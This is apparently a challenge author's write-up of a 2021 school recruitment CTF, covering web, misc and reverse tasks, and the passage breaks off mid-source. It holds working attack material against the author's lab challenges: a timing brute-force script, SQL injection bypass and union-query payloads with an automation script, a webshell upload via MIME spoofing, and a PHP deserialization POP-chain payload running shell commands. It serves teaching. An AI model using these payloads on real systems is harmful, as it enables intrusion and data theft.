前言

2021年S3C CTF结束了(S3C CTF是学校工作室举办的,为了招新)

本WP只包含本人出的题,题目提供docker-compose包。

尝试了一下运维比赛,还好没有出说什么大问题

题目

出题时已经考虑题目尽量往简单,但是没有一道是原题,是我对自己的知识的梳理而出的,绝对原创

水平有限,第一次出题,若发现问题欢迎指出,非常感谢

WEB

环境大多为PHP7.0+PHP-FPM+Nginx,最后一题为Python Flask

学霸题,数正方体 | 动态 | 100分 | @1x

想考察python requests包的基本使用

侧信道攻击 | 动态 | 496分 | @1x

考察思维和观察能力

解压小游戏 | 动态 | 100分 | @1x

想考察Web技术了解和JavaScript脚本运行流程分析

私人图片库 | 动态 | 275分 | @1x

考察SQL之万能密码、简单文件上传(一句话木马及工具的利用)

查询-1 | 血分 | 350分 | @1x

考察SQL注入之联合查询注入

popchain | 血分 | 400分 | @1x

PHP魔术方法和简单popchain构造

安全知识学习(未上线,不提供)

传参json与重放攻击

MISC

黑阔入侵 | 动态 | 100 | BY@1x

Wireshark的基本使用

Call me | 动态 | 304 | BY@1x

  • 分析找规律、ANSCII码与字符

  • Pyhton程序理解

Re

(C程序)

在 windows下由GCC编译

拒绝手算 | 动态 | 500 | BY@1x

基本逆向

(Mobile)

由Android Studio构建-Java

简单apk | 动态 | 275 | BY@1x

APK反编译工具的使用

APK1 | 动态 | 496 | BY@1x

Java程序阅读与理解

详解

学霸题,数正方体

题目的docker-compose文档提供下载(若不清楚如何使用,请看文末):

/static/post/s3cctf2021/ext/zfx.tar.gz

正方体的数量是随机产生的,而且时间有限制,要求在两秒之内回答正确的正方体数量

服务端部分程序如下

1
2
3
$_SESSION['CREATED'] = time();
$set_num = rand($min_num,$max_num);
$_SESSION["num"] = $set_num;

完全可以设一个非常大的随机数范围,但是这里只设置如下,

所以完全可以被数出来或者一直尝试一个数字而撞出来

1
2
3
$lifeTime = 2;
$min_num = 4;
$max_num = 10;

正经做法如下

观察HTML的Form表单部分

可得知为POST传参,参数有两个,

一个是代表正方体数量的cube_num,

而另外一个是不那么明显的submits参数,要注意此参数值为submit

1
2
3
4
<form action="index.php" method="post">
<input type="text" name="cube_num">
<input type="submit" name="submits" value="submit">
</form>

后端部分代码如下(下面的代码并不完整,贴出来只是为了方便理解)

(若不想看可以跳过此步)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$get_val0 = $_POST["cube_num"];
$get_val1 = $_POST["submits"];
if (isset($get_val0) && isset($get_val1)) {
if (isset($_SESSION['CREATED']) && isset($_SESSION['num'])) {
if ((time() - $_SESSION['CREATED']) < $lifeTime) {
if ($get_val0 == $_SESSION["num"]) {
if ($get_val1 != "submit") {
echo "恭喜! 提交的正方形的数量正确,但是还有点小错误哦<br />";
echo "提示:检查一下提交的submits参数的值";
} else {
echo "恭喜!s3c{}";
$set_num = rand($min_num,$max_num);
$_SESSION["num"] = $set_num;
}
} else {
echo "数量不对。。。";
$set_num = rand($min_num,$max_num);
$_SESSION["num"] = $set_num;
}

因此可以编写程序进行自动提交

(程序为python3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://xx.xx.xx.xx:8086/index.php"

reqs = requests.Session()
text = reqs.get(url).text
number_is = 0


for i in range(1000):
try:
if text.index("main"+str(i)):
pass
except:
number_is = i
break


data = {'cube_num' : number_is, 'submits' : 'submit'}
flag = reqs.post(url, data).text

print("inf: {}".format(flag))
print("Number is", number_is)

侧信道攻击

之前看过一些较为久远但十分有趣的攻击案例,例如由于密码验证系统的设置缺陷,利用时间信息可以强行猜出较长位数的密码,

不信的的话,且看下面,这道题将做一个小小示范

题目的docker-compose文档提供下载(若不清楚如何使用,请看文末):

/static/post/s3cctf2021/ext/cexindao.tar.gz

当访问题目,将会看到以下PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
require_once "function.php"; //引入$mypassword和$flag

//Brute_Force字符串匹配算法,当匹配失败,在当前所处字符位置进一位,再重新进行匹配
function Brute_Force_String_Matching($s,$t) {
$i=0;
$j=0;
$k;
while($i < strlen($s) && $j < strlen($t)) {
if($s[$i] == $t[$j]){
$i++;
$j++;

} else {
$i = $i - $j + 1;
$j = 0;;
usleep(50000);
}

}
if($j >= strlen($t)) $k = $i - strlen($t);
else $k = -1;
return $k;
}



$user_input = $_GET["passwd"];
if (isset($_GET["passwd"])) {
$input_length = strlen($user_input);


if ($input_length > strlen($mypassword)) {
die("Password length is " . strlen($mypassword) . " , your input is too long");
}

if (Brute_Force_String_Matching($mypassword, $user_input) !== -1 && $input_length == strlen($mypassword)) {
echo "恭喜:" . $flag;
} else {
echo "Password error!";
}
} else {
?>
<form action="index.php" method="get">
密码:<input type="text" name="passwd" />
<input type="submit" value="Submit" />
</form><br />
<?php
echo '<br />提示:密码为小写字母+数字, 共11位<br />';

echo "<br />";
echo "<br />";
highlight_file(__FILE__);
}


?>

注意到BF算法的函数中的

1
usleep(50000);

理解程序之后可以知道,当某位字符与目标字符不匹配,将会延时50毫秒

不妨打开F12的浏览器调试工具,输入一位字母或数字尝试

正确与错误密码的响应时间差别较大

图片1

这样就能一位一位地将密码试出

若不愿手动尝试,提供自动尝试的python程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time


url = "http://xx.xx.xx.xx:8085/"
words = 'abcdefghijklmnopqrstuvwxyz01234567890'
true_passwd = ''


while True:
for i in words:
time.sleep(0.2)
last_time = time.time()
data = true_passwd + i
info = requests.get(url + "/?passwd={}".format(data)).text
#print(info)
if time.time() - last_time < 0.1:
true_passwd += i
print("Try:", true_passwd)
break


if info != "Password error!":
try:
info.index("s3c{")
break
except:
true_passwd = ''



print("Found password: {}".format(true_passwd))
print(info)

解压小游戏

一个很简单的小游戏

虽然通关就给flag,但是正经做法请看如下

题目的docker-compose文档提供下载(若不清楚如何使用,请看文末):

/static/post/s3cctf2021/ext/xiaoyouxi.tar.gz

游戏来自https://aidn.jp/fra_miku/

分析得知此游戏为静态的

既然游戏到38关会给flag,那么应该存在相关的判断程序,所以需要关注相应的JavaScript文件

考虑到招新赛不会太难,接下来基于不同情况通常有两种做法

做法一:

找到相应js文件,判断的程序被加密—>找到游戏判断通关的语句进行修改,直接通关拿flag

做法二:

找到相应js文件,判断的程序未加密—>直接拿flag

本题基于做法二

打开游戏界面再按F12打开调试器,转到network选项卡

刷新界面,此时可以看到加载的文件

对文件类型进行排序,再排除掉一些没有存在服务器上的文件,就剩下下面两个js

图片2

打开common.js发现与游戏处理关系不大,排除

再打开fra.js,发现就是游戏的处理相关

仔细看,跟随游戏的处理、调用,可以找到

图片3

或者如果能猜到有弹窗告诉flag,可以直接搜索alert(这里做了处理,搜s3c搜不到flag)

图片4

私人图片库

主要考察对一句话木马的理解,顺便提供一次入侵的机会

题目的docker-compose文档提供下载(若不清楚如何使用,请看文末):

/static/post/s3cctf2021/ext/sirentuku.tar.gz

本题登陆密码19位,爆破不可能完成

因为网页源带代码已经给了提示,箭头所指处为sql语句(数据库为MYSQL),

容易知道万能密码可绕过登录

图片5

部分后端程序如下(若不想看可以跳过此步)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$cannot = array("-- ", "delete", ";", "drop", "group_concat(", "join", "insert", "into", "outfile", "~", "concat(", "updatexml", "extractvalue", "create", "alter", "desc", "concat_ws(", "update", "rename", "*", "/*", "*/", "()", "length", "rand(", "floor(", "sleep(", "benchmark(", "ascii(", "rpad(", "load_file(", "repeat(", "rlike", "get_lock(", "substr(", "mid", "regexp", "^", "like");
function check_str($inp_str, $cannot_array) {
foreach ($cannot_array as $val) {
if (stripos($inp_str, $val) !== false) {
echo "检测到输入含有" . $val . "字样,不能干坏事(●'◡'●)";
return false;
}
}
return true;
}

<?php
require_once "config.php";
$user_name = $_POST["name"];
$user_passwd = $_POST["passwd"];
if (isset($user_name) && isset($user_passwd)) {
if ($user_name == 'admin') {
if ($user_passwd != '' && check_str($user_passwd, $cannot)) {
$conn = new mysqli($servername, $sql_username, $sql_password);
if ($conn->connect_error) {
die("数据库连接失败,请联系负责人: " . $conn->connect_error);
}
mysqli_select_db( $conn, $sql_database);
$sql_qu = "SELECT * FROM user_tab WHERE user = '$user_name' AND password='$user_passwd'";
$result = $conn->query($sql_qu);
if ($result->num_rows > 0 && isset($result)) {
echo "登录成功";
$_SESSION["admin"] = true;
header("Location: index.php");
} else {
echo "密码错误!";
$_SESSION["admin"] = false;
}
} else {
echo "密码不能为空!";
$_SESSION["admin"] = false;
}

} else {
echo "只有admin能用哦";
}
} else if (isset($_SESSION["admin"]) && $_SESSION["admin"] === true) {
header("Location: index.php");
}

?>

万能密码只需要在网上随便找一句类似于1’or ‘’=’即可

图片6

登录进去是一些图片展示,如果能看到右上角的上传图片,距离获取flag仅有两步之遥

图片7

如果有尝试过上传,可以知道仅允许上传图片

为了入侵服务器,需要上传一句话木马

图片8

此时结合提示可以得知容易绕过

可知仅过滤MIME类型,未有对文件后缀名进行过滤,

而MIME类型由浏览器判断后缀名得来,因此可以直接抓包修改

图片9

部分后端程序如下(若不想看可以跳过此步)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "错误:" . $_FILES["file"]["error"] . "<br>";
} else {
if (($_FILES["file"]["size"] / 1024) > 20) {
echo "文件太大!不允许上传超过20kB的文件";
} else {
if (isset($_SESSION["admin"]) && $_SESSION["admin"] == true) {
$file_type = $_FILES["file"]["type"];
$file_type = $file_type . '';
echo "文件类型: " . $file_type . "<br /><br />";

if ($file_type != "image/jpeg" && $file_type != "image/gif" && $file_type != "image/jpg" && $file_type != "image/jfif" && $file_type != "image/png" && $file_type != "image/webp") {
if ($_FILES["file"]["type"] == "application/octet-stream") {
echo "不允许<br />";
} else {
echo "我想要图片,但是你传的似乎不是图片呀,给我的图库传张图可以嘛<br />";
}
} else {
echo "上传文件名: " . $_FILES["file"]["name"] . "<br />";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br />";
move_uploaded_file($_FILES["file"]["tmp_name"], "pic/" . $_FILES["file"]["name"]);
echo "文件存储的位置: " . "pic/" . $_FILES["file"]["name"];
}
} else {
echo "未登录!上传取消";
}
}
}
?>

使用的一句话木马如下

图片10

此题有两种方法,

一种方法是先上传一句话木马.php再使用brup suite抓包更改MIME类型为image/jpeg,最简单

另外一种是制作图片马,即图片与一句话木马合成(图片木马),抓包后改为php后缀,就不必修改MIME,提交即可上传成功

至于为什么需要php为后缀,因为这台服务器上被设置成了只有.php后缀的文件才能当做php脚本解释

(web服务器用的是nginx,且设置了只解释.php后缀的文件)

这里只讲方法一

方法一

直接上传一句话木马,按下上传时抓包

图片11

更改Content-type(代表MIME类型),上传成功

图片12

打开蚁剑(中国菜刀也行)新建连接,填上前面的图上一句话木马的信息

图片13

打开文件管理

图片14

来到web目录,可以看到提示

图片15

获取flag

图片16

查询-1

这题没有什么难度,只要稍懂SQL语句以及能找到一篇比较详细的联合查询注入教程,即可完成

基本上没有过滤联合查询注入需要的语句

题目的docker-compose文档提供下载(若不清楚如何使用,请看文末):

/static/post/s3cctf2021/ext/check-1.tar.gz

写了一篇有关SQL注入的博客,感兴趣可以来康康:SQL注入常用姿势

过滤程序如下(用正则可能会好一些,这里是利用字符串查找)

1
2
3
4
5
6
7
8
9
10
$cannot = array("-- ", "delete", ";", "drop", "group_concat(", "join", "insert", "into", "outfile", "~", "concat(", "updatexml", "extractvalue", "create", "alter", "desc", "concat_ws(", "update", "rename", "*", "/*", "*/", "()", "length", "rand(", "floor(", "sleep(", "benchmark(", "ascii(", "rpad(", "load_file(", "repeat(", "rlike", "get_lock(", "substr(", "mid", "regexp", "^", "like");
function check_str($inp_str, $cannot_array) {
foreach ($cannot_array as $val) {
if (stripos($inp_str, $val) !== false) {
echo "检测到输入含有" . $val . "字样,不能干坏事(●'◡'●)";
return false;
}
}
return true;
}

题目已经提示叫尝试id 0-5,那就查查试试看

到id为3时得到一个有用的提示,叫尝试联合查询

图片17

到id为5时提示flag就在名字叫做flag的表里面

图片18

下面是解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0'order by 3#
/*正常而*/
0'order by 4#
/*出错,可知有三列*/



/*为了找到位置,使用*/
0' union select 1,2,3#
/*发现显示位在3那里*/


#方法一
0' union select 1,2,database( )#
/*首先尝试,发现0' union select 1,2,database()#有个提示说()不能用,那就在()中间空一格(过滤不完全)*/
/*得数据库名叫user_data*/
#方法二
0' union select 1,2,count(distinct table_schema) from information_schema.tables#
/*得知有2个数据库*/
0' union select 1,2,table_schema from information_schema.tables limit 2,1#
/*找到可疑的数据库叫做user_data*/





/*继续查user_database的所有表*/
0' union select 1,2,table_name from information_schema.tables where table_schema="user_data"#
/*得到flag user_database*/
/*那自然去获取flag表*/


0' union select 1,2,column_name from information_schema.columns where table_schema="user_data" and table_name="flag"#
/*得知flag表里面有两个字段为id fl4g_is*/



/*获取flag*/
0' union select 1,2,fl4g_is from flag#

或者运行下面的程序获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests, time



url = "http://121.5.149.51:8090"

sql_que = [

"union select 1,2,database( )",

'union select 1,2,table_name from information_schema.tables where table_schema="user_data"',

'union select 1,2,column_name from information_schema.columns where table_schema="user_data" and table_name="flag"',

"union select 1,2,fl4g_is from flag"

]



def send_sqli(s_que):

data = {'search' : "0' " + s_que + '#'}
text = requests.post(url, data).text

t = '<label id="loginError" style="line-height: 16px;">'
text = text[text.index(t)+len(t):]
text = text[:text.index('</label>')]
print(text)

for i in sql_que:
send_sqli(i)
time.sleep(0.5)



input()

运行截图如下

图片19

popchain

简单的PHP POP链构造

题目的docker-compose文档提供下载(若不清楚如何使用,请看文末):

/static/post/s3cctf2021/ext/popchain.tar.gz

进入题目,可以见到以下程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
//flag in /flag
class logger {
public $str;
public $func;

public function __toString() {
$ret = $this->str->to_();
return $this->str_echo($ret);
}

private function to_str($your_) {
if (is_numeric($your_)) {
$this->func->start();
return strval($your_);
} else {
return $your_;
}
}
private function str_echo($inf) {
if (is_string($inf)) {
return $inf . "<br />";
} else {
return $this->to_str($inf) . "<br />";
}
}
}

class setting {
public $set;
public function __call($method, $attributes) {
echo "Call: " . $method . "<br />";
return $this->set;
}
}

class stop_ctrl {
public $ctrl;
public function __destruct() {
$sta = $this->ctrl->stop();
echo "<br />" . 'State: '. $sta;
}
}


class user_function {
public $value;
public function __wakeup() {
//$this->value = 'ls';
echo "Nothing..." . "<br />";
}
public function __call($method, $attributes) {
echo "<br />" . "老板,给我来一条POP链" . "<br />";
}

public function start() {
system($this->value);
}
}

if(isset($_GET['pop'])) {
unserialize(base64_decode($_GET['pop']));

}else{
highlight_file(__FILE__);
}

程序大意是通过GET获取参数pop的值,base64解码后再反序列化

构造程序如下即可完成解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class stop_ctrl {
public $ctrl;
public function __construct() {
$this->ctrl= new setting(new logger);
}
}

class setting {
public $ctrl_me;
public function __construct($ctrl = null) {
$this->set = $ctrl;
}
}

class logger {
public $str;
public $info;
public $func;
function __construct() {
$this->func = new user_function;
$this->str = new setting(1);


}
}

class user_function {
function __construct() {
$this->value = 'ls /;echo "<br />";cat /flag';
}

}

echo base64_encode(serialize(new stop_ctrl));
//Tzo5OiJzdG9wX2N0cmwiOjE6e3M6NDoiY3RybCI7Tzo3OiJzZXR0aW5nIjoyOntzOjc6ImN0cmxfbWUiO047czozOiJzZXQiO086NjoibG9nZ2VyIjozOntzOjM6InN0ciI7Tzo3OiJzZXR0aW5nIjoyOntzOjc6ImN0cmxfbWUiO047czozOiJzZXQiO2k6MTt9czo0OiJpbmZvIjtOO3M6NDoiZnVuYyI7TzoxMzoidXNlcl9mdW5jdGlvbiI6MTp7czo1OiJ2YWx1ZSI7czoyODoibHMgLztlY2hvICI8YnIgLz4iO2NhdCAvZmxhZyI7fX19fQ==

最后提交生成的base64字符串

1
http://题目地址/?pop=Tzo5OiJzdG9wX2N0cmwiOjE6e3M6NDoiY3RybCI7Tzo3OiJzZXR0aW5nIjoyOntzOjc6ImN0cmxfbWUiO047czozOiJzZXQiO086NjoibG9nZ2VyIjozOntzOjM6InN0ciI7Tzo3OiJzZXR0aW5nIjoyOntzOjc6ImN0cmxfbWUiO047czozOiJzZXQiO2k6MTt9czo0OiJpbmZvIjtOO3M6NDoiZnVuYyI7TzoxMzoidXNlcl9mdW5jdGlvbiI6MTp7czo1OiJ2YWx1ZSI7czoyODoibHMgLztlY2hvICI8YnIgLz4iO2NhdCAvZmxhZyI7fX19fQ==

其它诸如构造POP链可以康康:

PHP反序列化之构造POP链

安全知识学习

黑阔入侵

这题是为了给大家了解wireshark的简单使用而出的

有两种解法,先讲wireshark的使用

附件:

/static/post/s3cctf2021/ext/1.pcapng

解法一:

一般先关注http流量,因为比较好找

打开流量文件后在下图所示处输入http即可看到所有http流量

图片20

找到不是404状态的带有flag字样的东西

图片21

为了获取这个文件,需要追踪http流

图片22

这里已经获取到了flag

图片23

如果flag没有在这里明文显示呢?

可以尝试获取黑阔得到的文件

将格式换成“原始数据

图片24

选中红色部分,按下退格键删除

图片25

可以看到红色部分变成了灰色,此时按下下图中的黑色箭头所示按钮

图片26

因为这个流名字就叫flagflag.zip,所以这里保存为zip文件

图片27

解法二:

使用010Editor或winhex,直接打开,搜索s3c

图片28

Call me

附件:

/static/post/s3cctf2021/ext/flag.zip

附件给的是一种使用二进制实现自制编码的方法

要对这种编码进行解码,可以以LX(两个大写字母)开头,将字符串分为组,根据”!”为0,”?”为1来转成二进制

再转ASCII,即可获取flag

感兴趣可以来康康这个:自制一个简单的编码方法

解题程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
flag = "LX?Lx?Lx?Lx!Lx!Lx?Lx?LX?Lx?Lx!Lx!Lx?Lx?LX?Lx?Lx!Lx!Lx!Lx?Lx?LX?Lx?Lx?Lx?Lx!Lx?Lx?LX?Lx?Lx?Lx!Lx!Lx!Lx!LX?Lx!Lx!Lx?Lx?Lx!Lx!LX?Lx?Lx!Lx!Lx?Lx!Lx?LX?Lx?Lx!Lx?Lx!Lx!LX?Lx?Lx?Lx!Lx!Lx?Lx?LX?Lx!Lx!Lx!Lx?Lx!Lx?LX?Lx!Lx?Lx?Lx?Lx?Lx?LX?Lx?Lx!Lx!Lx!Lx?Lx?LX?Lx!Lx!Lx!Lx!Lx!Lx?LX?Lx?Lx!Lx?Lx?Lx!Lx!LX?Lx?Lx!Lx?Lx?Lx!Lx!LX?Lx!Lx?Lx?Lx?Lx?Lx?LX?Lx!Lx!Lx?Lx?Lx!Lx?LX?Lx?Lx!Lx!Lx?Lx?LX?Lx!Lx?Lx?Lx?Lx?Lx?LX?Lx!Lx!Lx?Lx?Lx!Lx!LX?Lx!Lx?Lx?Lx!Lx!Lx!LX?Lx?Lx?Lx?Lx?Lx!Lx?"

code1 = "Lx"
code2 = "LX"#开头
state1 = "!"#0
state2 = "?"#1

count = []
str_store = []
decode_str = ""

for i in range(len(flag)):
if i % 3 == 0:
if flag[i+1] == code2[len(code2)-1]:
count.append(i)
if i == len(flag) - 3:
count.append(i+3)
if len(count) == 2:
str_yiduan = flag[count[0]:count[1]]
count[0] = count[1]
count.pop()
str_store.append(str_yiduan)
print(str_yiduan)

print("\nflag: ", end="")
for i in str_store:
str_read = "0b"
for ii in range(len(i)):
if ii % 3 == 0:
if i[ii+2] == state1:
str_read += '0'
elif i[ii+2] == state2:
str_read += '1'
decode_str += chr(int(str_read,2))

print(decode_str)

拒绝手算

需要一些耐心

提供文件下载

/static/post/s3cctf2021/ext/re.exe

IDA打开

可以见到一堆加密后的东西

360截图17001022545958

程序逻辑:程序接受输入的flag,加密后再与存储的数据进行比较,若相同,则输入的字符串为正确flag

跟进程序,发现经过两段加密

360截图17120526505455

找到这两个函数

enc1大意是

第一个for循环

循环0-255为i,a1也就是索引空间为256的一个数组,以i为索引存入i

a2也就是密钥,即上图的Str变量,即‘abcdefghij’,i%10为索引循环读取a2存入v4

第二个while循环

还是0-255为j,v5存的其实是a1以j%5为索引的值

v6存的是 以j为索引读取v4加上v5加56,v4变量就是上面那个for循环中,以0-9为周期循环存着密钥的v4

最后处理a1,a1基地址加上6再加上j%249,指针指向其值,加上v6

第三个for循环

循环0-255为j

a1基地址加上j来指针访问其值,赋值为指针访问a1基地址加上j+56得到的值再%256

360截图18020626938772

enc2应该比enc1好理解

第一个循环

以密钥长度决定i到多大结束,也就是到255会break掉

v5以i为索引存入i%5

第二个循环

仍然以密钥长度决定i到多大结束,还是到255会break掉

这里的Str是经过enc1加密后的数组,与a2也就是密钥字符串,读取(v5[i]+i)%10后作为a2索引,得到a2里的值进行异或操作

360截图17860602422880

最后一个疑点

回到main函数,发现v9的最大索引数字是245

既然循环都以0-255,但密文只有0-245怎么办?

360截图17860531102146137

只需在后面的位置填0,因为编译器分析索引为245以后的值用不上,给优化掉了

1
[-54, 15, -8, -47, 28, -1, -19, 53, 19, -6, -8, 60, 48, -26, -2, 63, -37, 33, 25, -13, -21, -10, 43, -22, -68, 4, -13, 43, -35, -69, 1, -82, 56, -40, -74, -63, -5, 4, -23, -75, -42, 17, 80, 15, -22, 37, 17, 80, 15, -22, 37, 31, 90, 21, -28, 47, 31, 90, 21, -28, 47, -27, 44, 27, -2, 57, -27, 44, 27, -2, 57, -13, 54, -31, -56, 3, -13, 54, -31, -56, 3, -7, 56, -9, -62, 13, -7, 56, -9, -62, 13, -57, 2, -3, -36, 23, -57, 2, -3, -36, 23, -51, 20, -61, -42, -31, -51, 20, -61, -42, -31, -37, 30, -55, -96, -21, -37, 30, -55, -96, -21, -95, -32, -33, -70, -11, -95, -32, -33, -70, -11, -81, -22, -91, -76, -1, -81, -22, -91, -76, -1, -75, -4, -85, -114, -55, -75, -4, -85, -114, -55, -125, -58, -79, -104, -45, -125, -58, -79, -104, -45, -119, -56, -121, -110, -35, -119, -56, -121, -110, -35, -105, -46, -115, 108, -89, -105, -46, -115, 108, -89, -99, -92, -109, 102, -79, -99, -92, -109, 102, -79, 107, -82, -103, 112, -69, 107, -82, -103, 112, -69, 113, -80, 111, 74, -123, 113, -80, 111, 74, -123, 127, -70, 117, 68, -113, 127, -70, 117, 68, -113, 69, -116, 123, 94, -103, 69, -116, 123, 94, -103, 83, -106, 65, 40, 99, 83, -106, 65, 40, 99, 89, -104, 87, 34, 109, 89, -104, 0, 0, 0, 0, 0, 0, 0, 0]

解题程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
enc_flag = [-54, 15, -8, -47, 28, -1, -19, 53, 19, -6, -8, 60, 48, -26, -2, 63, -37, 33, 25, -13, -21, -10, 43, -22, -68, 4, -13, 43, -35, -69, 1, -82, 56, -40, -74, -63, -5, 4, -23, -75, -42, 17, 80, 15, -22, 37, 17, 80, 15, -22, 37, 31, 90, 21, -28, 47, 31, 90, 21, -28, 47, -27, 44, 27, -2, 57, -27, 44, 27, -2, 57, -13, 54, -31, -56, 3, -13, 54, -31, -56, 3, -7, 56, -9, -62, 13, -7, 56, -9, -62, 13, -57, 2, -3, -36, 23, -57, 2, -3, -36, 23, -51, 20, -61, -42, -31, -51, 20, -61, -42, -31, -37, 30, -55, -96, -21, -37, 30, -55, -96, -21, -95, -32, -33, -70, -11, -95, -32, -33, -70, -11, -81, -22, -91, -76, -1, -81, -22, -91, -76, -1, -75, -4, -85, -114, -55, -75, -4, -85, -114, -55, -125, -58, -79, -104, -45, -125, -58, -79, -104, -45, -119, -56, -121, -110, -35, -119, -56, -121, -110, -35, -105, -46, -115, 108, -89, -105, -46, -115, 108, -89, -99, -92, -109, 102, -79, -99, -92, -109, 102, -79, 107, -82, -103, 112, -69, 107, -82, -103, 112, -69, 113, -80, 111, 74, -123, 113, -80, 111, 74, -123, 127, -70, 117, 68, -113, 127, -70, 117, 68, -113, 69, -116, 123, 94, -103, 69, -116, 123, 94, -103, 83, -106, 65, 40, 99, 83, -106, 65, 40, 99, 89, -104, 87, 34, 109, 89, -104, 0, 0, 0, 0, 0, 0, 0, 0]
enc_key = "abcdefghij"

index = []
for i in range(256):
index.append(i%20)

#enc2的逆向
for i in range(len(enc_flag)):
enc_flag[i] ^= ord(enc_key[(index[i] + i) % 0xa])

#enc2逆向完成
#print(enc_flag)

#enc1的逆向
index2 = []
for i in range(256):
index2.append(ord(enc_key[i % 0xa]))

for i in range(256):
enc_flag[i] -= 56
index_b = enc_flag[i%5]
index_c = (index2[i] + 56 + index_b) % 256
enc_flag[6+i%0xf9] -= index_c

for i in range(256):
enc_flag[i] -= i

#c语言中char类型的变量的范围在-128至127
for i in range(256):
if enc_flag[i] < -128 and enc_flag[i] >= -256:
#python的char函数没有上溢出和下溢出,只能通过判断加256*n,n是不为0的整数
enc_flag[i] += 256
elif enc_flag[i] < -256:
enc_flag[i] += 512

if enc_flag[i] >= 127:
enc_flag[i] -= 256

#enc1逆向完成
for i in range(256):
if enc_flag[i] != 0:
print(chr(enc_flag[i]), end='')
else:
break

源程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_i(unsigned int now_i, unsigned int _len) {
if (now_i == _len) {
return 0;
}
return 1;
}


int enc1(char *a1, char *a2, unsigned int a3) {
unsigned int ii, iii;
unsigned int i_a, i_b, i_c, i_d;
int i_e[256];

memset(i_e, 0, 0x100u);

for (ii=0;ii<256;ii++) {
int sta = check_i(ii, a3);
*(a1 + ii) += ii;
*(i_e + ii) = a2[ii%10];
}

i_a = 0, i_c = 0;

while (i_a != 256) {
i_b = *(i_a % 5 + a1);
i_c = (i_e[i_a] + i_b + 56) % 256;
*(a1 + 6 + i_a % 249) += i_c;
i_a++;
}


i_a = 0;
while (i_a != 256) {
*(a1 + i_a) = (56 + *(a1 + i_a)) % 256;
i_a++;
}

return 0;

}

int enc2(char *a1, char *a2, unsigned int a3) {
int ii=0;
unsigned int index[256];

for (ii=0;ii<strlen(a1);ii++) {
*(index + ii) = ii%20;
}
for (ii=0;ii<strlen(a1);ii++) {
a1[ii] ^= a2[(*(index+ii) + ii) % 10];
}

return 0;
}

int check_flag(char * u_input_enc, char * enc_flag) {
int ii;

if (strlen(u_input_enc) != strlen(enc_flag)) return 1;
for (ii=0;ii<strlen(u_input_enc);ii++) {
if (*(u_input_enc+ii) != *(enc_flag+ii)) {
return 1;
}
}
return 0;
}

int main() {
//char * flag = "s3c{9ae7f8c1-728d-45d7-9f52-fc0e2aff060c}";
char in[257];
char enc_flag[257] = {-54, 15, -8, -47, 28, -1, -19, 53, 19, -6, -8, 60, 48, -26, -2, 63, -37, 33, 25, -13, -21, -10, 43, -22, -68, 4, -13, 43, -35, -69, 1, -82, 56, -40, -74, -63, -5, 4, -23, -75, -42, 17, 80, 15, -22, 37, 17, 80, 15, -22, 37, 31, 90, 21, -28, 47, 31, 90, 21, -28, 47, -27, 44, 27, -2, 57, -27, 44, 27, -2, 57, -13, 54, -31, -56, 3, -13, 54, -31, -56, 3, -7, 56, -9, -62, 13, -7, 56, -9, -62, 13, -57, 2, -3, -36, 23, -57, 2, -3, -36, 23, -51, 20, -61, -42, -31, -51, 20, -61, -42, -31, -37, 30, -55, -96, -21, -37, 30, -55, -96, -21, -95, -32, -33, -70, -11, -95, -32, -33, -70, -11, -81, -22, -91, -76, -1, -81, -22, -91, -76, -1, -75, -4, -85, -114, -55, -75, -4, -85, -114, -55, -125, -58, -79, -104, -45, -125, -58, -79, -104, -45, -119, -56, -121, -110, -35, -119, -56, -121, -110, -35, -105, -46, -115, 108, -89, -105, -46, -115, 108, -89, -99, -92, -109, 102, -79, -99, -92, -109, 102, -79, 107, -82, -103, 112, -69, 107, -82, -103, 112, -69, 113, -80, 111, 74, -123, 113, -80, 111, 74, -123, 127, -70, 117, 68, -113, 127, -70, 117, 68, -113, 69, -116, 123, 94, -103, 69, -116, 123, 94, -103, 83, -106, 65, 40, 99, 83, -106, 65, 40, 99, 89, -104, 87, 34, 109, 89, -104, 87, 34, 109, 39, 98, 93, 60, 86};
char u_input[257] = {1,2,3}, r_input[257];
//unsigned int len_flag = strlen(flag);
